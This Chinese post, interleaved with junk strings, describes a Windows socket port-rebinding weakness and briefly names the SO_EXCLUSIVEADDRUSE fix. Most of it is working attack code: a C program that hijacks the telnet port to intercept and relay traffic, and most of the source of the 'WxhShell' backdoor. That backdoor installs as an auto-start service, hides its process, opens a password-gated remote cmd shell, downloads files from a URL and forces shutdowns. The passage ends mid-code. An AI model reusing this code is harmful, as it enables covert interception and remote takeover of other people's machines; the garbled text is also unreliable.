在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
o
F,R@f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
e3bAT.P 7i%P&oB saddr.sin_family = AF_INET;
m''i E )Q N=>J saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_'o^@v: v:!7n bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
rSzXa4m( c'VtRE# z~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
p5D3J[?N dh7)N}2 这意味着什么?意味着可以进行如下的攻击:
$(!D/bvJ Y?q*hS0!H 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2R~=@ 0bRkC,N
( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
q,19NZ knj,[7uh 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
a|^-z|. 5#A1u
Nb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
LP-KD (*@~HF,t= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Yqj.z| }Nb
\1c`) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
zke~!"iq _*-'yu8# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
N*c?Er@8U 1+y6W1m^R #include
&Cn9
k3E\R #include
)y
[[Se #include
m0q`A5!) #include
W.7d{
@n DWORD WINAPI ClientThread(LPVOID lpParam);
}][|]/s?42 int main()
hwb(W?* {
p{pzOMi6 WORD wVersionRequested;
IDVY2`sM DWORD ret;
H;"N|pBy WSADATA wsaData;
f%{ ag BOOL val;
WG!;,~f>o SOCKADDR_IN saddr;
|'>E};D SOCKADDR_IN scaddr;
_S7M5{U_ int err;
clU3#8P!= SOCKET s;
9jJ/ RX p SOCKET sc;
JCMEhI6d* int caddsize;
>@92K]J HANDLE mt;
w1/T>o DWORD tid;
=<27qj
wVersionRequested = MAKEWORD( 2, 2 );
RHA>fXp err = WSAStartup( wVersionRequested, &wsaData );
WSX@0A.&) if ( err != 0 ) {
I@3c QxI printf("error!WSAStartup failed!\n");
mk3e^,[A return -1;
!n?*vN=S }
^_"q`71Dk saddr.sin_family = AF_INET;
K^1O =1gY cbHn\m)J, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
B7QtB3bn lr= !:D=K saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
OrqJo!FEg{ saddr.sin_port = htons(23);
28L'7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%l$&_xV- {
4m~stDlN printf("error!socket failed!\n");
bT6)(lm return -1;
)*AA9 }
x;b+gIz* val = TRUE;
m">
=QP //SO_REUSEADDR选项就是可以实现端口重绑定的
7XI4=O};&% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5@r Zm4U {
Ydd>A\v\; printf("error!setsockopt failed!\n");
i)^ZH#Gp return -1;
W1,L>Az^Ts }
|$-d,] V //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
l+kg4y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
="nrq&2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
M:q;z( ("@V{<7(t if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}\qdow- {
&JQ@(w ret=GetLastError();
%<o$
J~l~ printf("error!bind failed!\n");
ezy5Jqk5% return -1;
,f""|X5 }
[LEh listen(s,2);
Hbj:CViYq while(1)
#YMp,i {
hx;kEJ caddsize = sizeof(scaddr);
^cXL4*_= //接受连接请求
0GR9C%"] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<("w'd} if(sc!=INVALID_SOCKET)
s7cyo
] {
wN0OAbtX' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
zNTu j p if(mt==NULL)
.L|ax).D {
(+v*u ]w4 printf("Thread Creat Failed!\n");
wuC tg= break;
[";5s&)q }
7%x+7 }
tcdn"]#U CloseHandle(mt);
^%/5-0?xE }
aI#n+PW closesocket(s);
'ah0IYe WSACleanup();
U[ungvU1U return 0;
?cxK~Y\ }
1X}Tp\e DWORD WINAPI ClientThread(LPVOID lpParam)
a9_KQ=&CI {
JBJ7k19; SOCKET ss = (SOCKET)lpParam;
40sLZa)e SOCKET sc;
P+|8MT0 unsigned char buf[4096];
%H~gN9Vn#@ SOCKADDR_IN saddr;
#\;w:: long num;
HPH {{p DWORD val;
; SM^ DWORD ret;
13az[ //如果是隐藏端口应用的话,可以在此处加一些判断
YD.^\E4o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:|mkI#P. saddr.sin_family = AF_INET;
:pu{3-n. saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4gNRln- saddr.sin_port = htons(23);
tLXw&hFk`g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4'=N{.TtO {
._nKM5. printf("error!socket failed!\n");
>o=p5#{ return -1;
EQhV}9 }
nY0UnlB` val = 100;
EKw\a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
">&:(< {
?i=!UN ret = GetLastError();
?YykCJJ ~@ return -1;
Cb-E<W&2D }
odn`%ok if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z69IHA[ {
bbkI}d%(Ng ret = GetLastError();
>U/g*[> return -1;
fb;"J+ }
|;-r}; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
L2$L.@ {
D*Q#G/TF3 printf("error!socket connect failed!\n");
@h,$&=HY closesocket(sc);
~8{3Fc 0 closesocket(ss);
sYI':UQe return -1;
'vIkA= }
[LDzR7vnf while(1)
LkB!:+v |B {
GK%ovK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*03/:q ^( //如果是嗅探内容的话,可以再此处进行内容分析和记录
v('d H"Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
W>nb9Isp num = recv(ss,buf,4096,0);
<BA&S
_=4 if(num>0)
"uC*B4` send(sc,buf,num,0);
][1u:V/
U else if(num==0)
r,KK%B break;
e.^9&Fk"N num = recv(sc,buf,4096,0);
*v3
| if(num>0)
^eRT8I send(ss,buf,num,0);
9Dw&b else if(num==0)
iCKwd 9?) break;
_q4m7C< }
='>UKy[= closesocket(ss);
Cw5K* closesocket(sc);
,4,c-
return 0 ;
ZHasDZ8 }
+eXfT*=u5 uy:=V}p <J`xCm K ==========================================================
elB 8 d~8~RT2m 下边附上一个代码,,WXhSHELL
RZ%X1$ jtY~-@* ==========================================================
VAt9JE;# H12@12v #include "stdafx.h"
)&<ExJQ& V,5}hQJ
F #include <stdio.h>
b\S}?{m5 #include <string.h>
W2N 7 #include <windows.h>
D|:sSld @ #include <winsock2.h>
:/qO*&i,N #include <winsvc.h>
9#6/c #include <urlmon.h>
#Q7$I.O] V5r7eC #pragma comment (lib, "Ws2_32.lib")
6Qu*' #pragma comment (lib, "urlmon.lib")
FM[To >#|Yoc #define MAX_USER 100 // 最大客户端连接数
vDvGT<d #define BUF_SOCK 200 // sock buffer
w\*/(E<:
#define KEY_BUFF 255 // 输入 buffer
FJ"9Hs2 hspg-|R #define REBOOT 0 // 重启
KLW+&.re8 #define SHUTDOWN 1 // 关机
eMzCAO &N0|tn #define DEF_PORT 5000 // 监听端口
v2sU$M ,ua1xsZl& #define REG_LEN 16 // 注册表键长度
7`!( 8 #define SVC_LEN 80 // NT服务名长度
]H2aYi$ $t}1|q| // 从dll定义API
Y cpO;md typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
7bS[\5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
pnJT]?}, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
qTF>!o#\: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3PffQ,c[~ UV.9KcN. // wxhshell配置信息
5 ZPUY struct WSCFG {
pa-4|)qY int ws_port; // 监听端口
jF9CTL< char ws_passstr[REG_LEN]; // 口令
YYW70k: int ws_autoins; // 安装标记, 1=yes 0=no
[^~9wFNtd char ws_regname[REG_LEN]; // 注册表键名
G1tp char ws_svcname[REG_LEN]; // 服务名
K/cK6Yr char ws_svcdisp[SVC_LEN]; // 服务显示名
nUHVPuQ/'T char ws_svcdesc[SVC_LEN]; // 服务描述信息
w-Fk&dC69 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
GR
`ncI$z int ws_downexe; // 下载执行标记, 1=yes 0=no
2z3A"HrlA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
F2'cL @E3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[hbp#I~*[ 9zd/5|W };
D[M?27 Iq\oB // default Wxhshell configuration
>~~\==". struct WSCFG wscfg={DEF_PORT,
G. TX1 "xuhuanlingzhe",
f4}6$>) 1,
"@$STptkc "Wxhshell",
?UDO%`X "Wxhshell",
#"-^;Z "WxhShell Service",
yfQE8v+ "Wrsky Windows CmdShell Service",
faX#KRpfd "Please Input Your Password: ",
HC,@tfS 1,
f@L{*Upj+ "
http://www.wrsky.com/wxhshell.exe",
b%j:-^0V "Wxhshell.exe"
Ya 4$7|( };
P^W47
SO \l5:A]J // 消息定义模块
]i2\2MTW8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(=V[tI+Ngt char *msg_ws_prompt="\n\r? for help\n\r#>";
[)n}!5fE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
c@M@t0WT[ char *msg_ws_ext="\n\rExit.";
b0 `9wn char *msg_ws_end="\n\rQuit.";
_Qc\v0% char *msg_ws_boot="\n\rReboot...";
l&xD3u^G char *msg_ws_poff="\n\rShutdown...";
8Oh3iO char *msg_ws_down="\n\rSave to ";
I3Xh[% -! v"~I( kf$ char *msg_ws_err="\n\rErr!";
y: [] + char *msg_ws_ok="\n\rOK!";
Ct+% Cq;d2u0)o$ char ExeFile[MAX_PATH];
J?fh3RW9 int nUser = 0;
l}c2l' HANDLE handles[MAX_USER];
mXj Ljgc} int OsIsNt;
UROi.976D q.{/{9 SERVICE_STATUS serviceStatus;
/j@ `aG(a SERVICE_STATUS_HANDLE hServiceStatusHandle;
!5t 3Y 4{t$M} ?N // 函数声明
F:GKnbY int Install(void);
~la04wR28 int Uninstall(void);
>Fk`h=Wd int DownloadFile(char *sURL, SOCKET wsh);
QC,(rB int Boot(int flag);
KdsvZim0> void HideProc(void);
:9#{p^:o int GetOsVer(void);
l?_!eA int Wxhshell(SOCKET wsl);
/+O8A} void TalkWithClient(void *cs);
15DK\_; int CmdShell(SOCKET sock);
1R9?[RE int StartFromService(void);
w{x(YVSH int StartWxhshell(LPSTR lpCmdLine);
Nj&%xe>]. ^|(4j_.(e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pY#EXZ# VOID WINAPI NTServiceHandler( DWORD fdwControl );
;XQ lj?: X>8?p'* // 数据结构和表定义
Q9tE^d+% SERVICE_TABLE_ENTRY DispatchTable[] =
qFbUM; {
;o459L>sW {wscfg.ws_svcname, NTServiceMain},
w1(06A}/ {NULL, NULL}
i9U_r._qj; };
G<6grd5PP LlY*r+Cgl1 // 自我安装
}(EOQ2TI int Install(void)
/C2f;h(1 {
WTs[Sud/ char svExeFile[MAX_PATH];
UDtbfc7bk HKEY key;
\&)W#8V strcpy(svExeFile,ExeFile);
#gJ~ {tA: 8Flf,"a // 如果是win9x系统,修改注册表设为自启动
l5]oS?>y if(!OsIsNt) {
v/.h%6n? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u;qMo `- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U*"cf>dB( RegCloseKey(key);
vD9D:vK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h^ $}1[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2BA9T nxC
RegCloseKey(key);
1y-lZ}s_ return 0;
aW-o=l@; }
EFt`<qwj }
<`UG#6z8 }
C_ZD<UPA\ else {
15o
*r ,Ysl$^\ // 如果是NT以上系统,安装为系统服务
,T*_mDVY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L^{;jgd&T9 if (schSCManager!=0)
$_zkq@ {
*u;">H*BW SC_HANDLE schService = CreateService
:_,]?n (
6cT~irP schSCManager,
i)PV{3v$J wscfg.ws_svcname,
EZumJ." wscfg.ws_svcdisp,
;=\5$J9 SERVICE_ALL_ACCESS,
pQ^,. [[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'EET3RK-S SERVICE_AUTO_START,
PeUd SERVICE_ERROR_NORMAL,
j*~dFGl) svExeFile,
OK?3,<x NULL,
rspoSPnY1 NULL,
3kqV_Pjg NULL,
<*Kh=v NULL,
t^_{5 NULL
\i;&@Kp.N );
u$=ogp=0 if (schService!=0)
w*xUuwi {
jvc?hUcLKT CloseServiceHandle(schService);
'}pgUh_ CloseServiceHandle(schSCManager);
OG^WZ.YU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
; (0(8G strcat(svExeFile,wscfg.ws_svcname);
^HlLj# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
OWXye4`* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
%X,B-h^ RegCloseKey(key);
QJIItx4hE return 0;
y(3c{y@~X }
H;*a:tbxO+ }
h$7Fe +#I# CloseServiceHandle(schSCManager);
q?-3^z%u }
~d7Wjn$@ }
bqQO E4; >6l ;/J return 1;
,rB9esxic }
1'v !9 P-OPv%jyi // 自我卸载
S|q!? /jqj int Uninstall(void)
*&dW\fx {
q]i(CaKh HKEY key;
f{^M.G@ k#Ez if(!OsIsNt) {
teOBsFy/I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"H="Ip!s RegDeleteValue(key,wscfg.ws_regname);
0fPHh>u RegCloseKey(key);
`f6)Q`n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yw*mA1v RegDeleteValue(key,wscfg.ws_regname);
&<w[4z\ RegCloseKey(key);
f*T)*R_ return 0;
4 %!{?[$ }
Y!=
k }
&J^4Y!gt }
^/ DII`A else {
,P@/=I5 $D/bU lFx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
v :+8U[x if (schSCManager!=0)
7moElh v {
LE<u&9I\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~6-"i0k
if (schService!=0)
si^4<$Nr%j {
m/<F 5R if(DeleteService(schService)!=0) {
:(l $^
M CloseServiceHandle(schService);
x>^3]m CloseServiceHandle(schSCManager);
&vFqe,Z return 0;
uh5Pn#da^ }
K(Q]&&< CloseServiceHandle(schService);
<K,%
y(] }
O@r.> CloseServiceHandle(schSCManager);
zY1s7/$i }
=CKuiO.j }
G !1~i*P$u Ev+HW x~Y return 1;
fKTDt% }
i+)}aA vcw>v={x // 从指定url下载文件
+dCDM1{_a int DownloadFile(char *sURL, SOCKET wsh)
xBL$]> {
b'7z DZI] HRESULT hr;
|k`f/* char seps[]= "/";
*,W!FxJ char *token;
c/<Sa|' char *file;
$"sq4@N char myURL[MAX_PATH];
g=FDm* char myFILE[MAX_PATH];
5?5-;H wc7mJxJxA strcpy(myURL,sURL);
FJ{,=@ token=strtok(myURL,seps);
n^iNo while(token!=NULL)
N p|'7D {
W,HH *! file=token;
\K?( token=strtok(NULL,seps);
Z;GIlgK9 }
80?6I%UB< .:{h{@a GetCurrentDirectory(MAX_PATH,myFILE);
r=~WMDCz@ strcat(myFILE, "\\");
4{;8:ax&w strcat(myFILE, file);
%NT`C9][ send(wsh,myFILE,strlen(myFILE),0);
1p7cv~#95 send(wsh,"...",3,0);
K\IYx|Hm a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
SZ5O89 if(hr==S_OK)
8_a$kJJ2 return 0;
AV:Xg4UJv else
%@}o'=[ return 1;
GOy=p3mQ t."g\; }
c=A(o 9Fy\t{ks // 系统电源模块
""1#bs{n int Boot(int flag)
bBUbw *DF) {
lAdDu HANDLE hToken;
1R=)17'O TOKEN_PRIVILEGES tkp;
TL},Unq PIZ
C;K4| if(OsIsNt) {
&1z)fD2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
oA4D\rn8" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$!YKZ0)B'0 tkp.PrivilegeCount = 1;
0'?V|V=v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
vKNt$]pm= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
q2x|%HRF if(flag==REBOOT) {
.i {>Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
AbUDn\0$ return 0;
)7&42>t }
{&2$[g=[ ^ else {
uY^v"cw/F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_:35d1[ return 0;
g.64Id }
$; Q$W9+ }
<^lJr82 else {
q} ]'Q
- if(flag==REBOOT) {
j/)"QiS*? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
r<;l{7lY_ return 0;
k?3S }
;i<$7MR.e else {
ic%?uWN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.6> hD1' return 0;
3B@y &a#& }
*#3*;dya] }
P^ptsZ% PX;Vo~6 return 1;
3/X-Cr+d }
`J72+ RA 5]jx5!N // win9x进程隐藏模块
)O,wRd>5 void HideProc(void)
CF]i}xpWV {
=%!e(N'p N>+ P WE$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S8
:"<B) if ( hKernel != NULL )
&J8Z@^ {
hf;S]8|F pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
V,V*30K5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6}ce1|mkg/ FreeLibrary(hKernel);
}$o* }
IUOxGJ|rO L2KG0i`+ return;
Lp_$?MCD. }
`/z_rqJ0CL k@#5$Ejc2 // 获取操作系统版本
,zQo {. int GetOsVer(void)
U1OFDXHG {
s[3e=N OSVERSIONINFO winfo;
y8G&Wg
aCi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
P Q7A~dw9 GetVersionEx(&winfo);
Y 4d3n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
)FRM_$t return 1;
bF*NWm$Lf else
|+>uA[6# return 0;
wZ#Rlv,3Wa }
~A6 "sb= {J (R // 客户端句柄模块
MR`:5e int Wxhshell(SOCKET wsl)
1%%'6cWWu {
WzjL-a( SOCKET wsh;
mw_ E&v struct sockaddr_in client;
VZ$=6CavH DWORD myID;
^$!987" W4(v6>5l while(nUser<MAX_USER)
%m9CdWb=w {
Bs[nV}c>> int nSize=sizeof(client);
wu A^'T wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)l_@t(_ if(wsh==INVALID_SOCKET) return 1;
+noZ<KFW
" S='
wJ@?; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Ht#@'x if(handles[nUser]==0)
Cezh l closesocket(wsh);
PocYFhWQ` else
qD#VbvRc9+ nUser++;
bp#:UUO%S }
2R]&v;A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9M_(He
- Z`Pd2VRp return 0;
6SVqRD<` }
j Fma|y EM@;3.IO // 关闭 socket
ibJHU@l void CloseIt(SOCKET wsh)
-T7xK/ {
4[TR0bM% closesocket(wsh);
7{f_fkbs nUser--;
[*)Z!) ExitThread(0);
ZPHXzi3j }
{XgnZ`* 5o#Yt // 客户端请求句柄
FW8-'~ void TalkWithClient(void *cs)
rz%<AF Z {
1G;8MPU JWROYED SOCKET wsh=(SOCKET)cs;
XF|WCZUnY% char pwd[SVC_LEN];
Q.+|xwz char cmd[KEY_BUFF];
H6&7\Wbk char chr[1];
mffIf1f int i,j;
t|V0x3X T$KF<
= while (nUser < MAX_USER) {
C)Jn[/BD ME^,'& if(wscfg.ws_passstr) {
EATu KLP\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3$VxRz) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3LDsxE=N:q //ZeroMemory(pwd,KEY_BUFF);
Gs
dnf 7 i=0;
e}0:"R%E while(i<SVC_LEN) {
BByCMY a{SBCy // 设置超时
B&Y_2)v fd_set FdRead;
2 -Xdoxw struct timeval TimeOut;
wvMW| FD_ZERO(&FdRead);
cu&,J#r% FD_SET(wsh,&FdRead);
zP!J/}z TimeOut.tv_sec=8;
>O7~h[FN TimeOut.tv_usec=0;
kS :\Oz\
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
JN'cXZJPn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
G^wtE90 @ {#mpDX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cCY/gEv pwd
=chr[0]; "w_N'-}#
if(chr[0]==0xd || chr[0]==0xa) { -"Q-H/qh
pwd=0; 9 [jTs3l:
break; \*0yaSQF
} 'Z&;uv,l
i++; e-5?p~>
} _q?<at}y
3= -pG
// 如果是非法用户,关闭 socket 9bJQT'<R
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (\a6H2z8l
} tNIlzR-
s%pfkoOY%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ] asBd"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N^w'Hw0
1tMQqI`N
while(1) { !k&Q 5s:
@}s$]i$|-
ZeroMemory(cmd,KEY_BUFF); 7v7G[n
_:`!DIz~9}
// 自动支持客户端 telnet标准 CO?Xt+1hR
j=0; Y+~g\z-]c
while(j<KEY_BUFF) { sC"}8+[)S3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %XTcP2pRJ
cmd[j]=chr[0]; 2Y!S_Hw8
if(chr[0]==0xa || chr[0]==0xd) { ?!VIS>C(
cmd[j]=0; {HOy_Fiih
break; 3WY$WRv
} 2F`cv1 M
j++; FG@-bV
} !xIm2+:(
<spZ! #o
// 下载文件 w}R~C
if(strstr(cmd,"http://")) { $gpG%Qj
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fyWO
if(DownloadFile(cmd,wsh)) *&Lq!rFS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SP]IUdE\
else p4K.NdUH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o4b~4h{%
} EGq;7l6u&?
else { JUAS$Y
~z5R{;Nbz|
switch(cmd[0]) { 8>WVodv
V DS23Bo
// 帮助 )yK[ Zb[
case '?': { TXXy\$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4Kwh?8.
break; WQNE2Q
} f:B>zp;N
// 安装 _c$9eAe
case 'i': { '1^B+m
if(Install()) X^9d/}uTa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fq[;%cr4
else ;a{ :%t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
Ez~'^s@
break; \dQx+f&t
} RP5+d
// 卸载 gk[{2HgN
case 'r': { VdSv
if(Uninstall()) <"D=6jqZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P^`duZ{T
else -u!FOD/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `1OgYs
break; 2lKV#9"
} ?E%ELs_Dl
// 显示 wxhshell 所在路径 k67a'pmyJ
case 'p': { P +"Y
char svExeFile[MAX_PATH]; jw}}^3.
strcpy(svExeFile,"\n\r"); l1U=f]
strcat(svExeFile,ExeFile); ((tv2
send(wsh,svExeFile,strlen(svExeFile),0); z7M_1%DEx
break; 7pA/
} 2Qp Hvsl_
// 重启 W!!S!JF
case 'b': { obrl#(\P
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'J&f%kx"
if(Boot(REBOOT)) <GHYt#GIZ+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [[d(jV=*
else { @~c6qh
closesocket(wsh); RB* J=
ExitThread(0); /2EHv.e`
} 1i:|3PA~
break; %CUGm$nH
} 'I;!pUfVp
// 关机 ;w|b0V6
case 'd': { ]lw|pvtd
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AcI,N~~
if(Boot(SHUTDOWN)) ;$Y4xM`=m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ")O`mXg-
else { VhjM>(
closesocket(wsh); HHX-1+L
ExitThread(0); r:&`$8$
} 53-v|'9'
break; ;zM*bWh9
} 1&;QyTN
// 获取shell -[U1]R
case 's': { {~|OE-X][
CmdShell(wsh); x8\A<(G_M=
closesocket(wsh);
PHA-9\jC{
ExitThread(0); o9xlu.QL{c
break; +aF}oA&X[
} :1t~[-h^
// 退出 wC `+
case 'x': { / kt2c[9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `(A5f71MfM
CloseIt(wsh); PP:(EN1
break; pfu1O6R
}
(x^BKnZ
// 离开 >5s6u`\
case 'q': { OpM(j&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); I;Vu W
closesocket(wsh); ,rJXy_
WSACleanup(); A)%A!
exit(1); [,2|Flf
e
break; { hln?'
} AU-n&uX
} :qChMU|Y6
} d*)CT?d&
nhIa175'
// 提示信息 7jnIv];i
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %dQxJMwj
} +f*OliMD
} ^c:Fy+fb
Z2im@c67{
return; "D?z
} z]b>VpW:
|t; ~:A
// shell模块句柄 *tm0R> ?!
int CmdShell(SOCKET sock) JXyM\}9-X
{ Qne/g}PD`
STARTUPINFO si; JQ4{` =,b
ZeroMemory(&si,sizeof(si)); gTA%uRBa
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3%.#}O,(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; It2" x;
PROCESS_INFORMATION ProcessInfo; )M__
t5L
char cmdline[]="cmd"; .U T@p
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8]&i-VFof
return 0; Q{B}ef
} |9~GM
6N)!aT9eo
// 自身启动模式 3O7!`Nm@
int StartFromService(void) $Of0n` e
{ NPFpq,P>
typedef struct vN3Zr34
{ BD`2l!d
DWORD ExitStatus; ,t\* ZTt$
DWORD PebBaseAddress; S"Zp D.XX
DWORD AffinityMask; ]p_@@QTC
DWORD BasePriority; 5jUYN-$GO
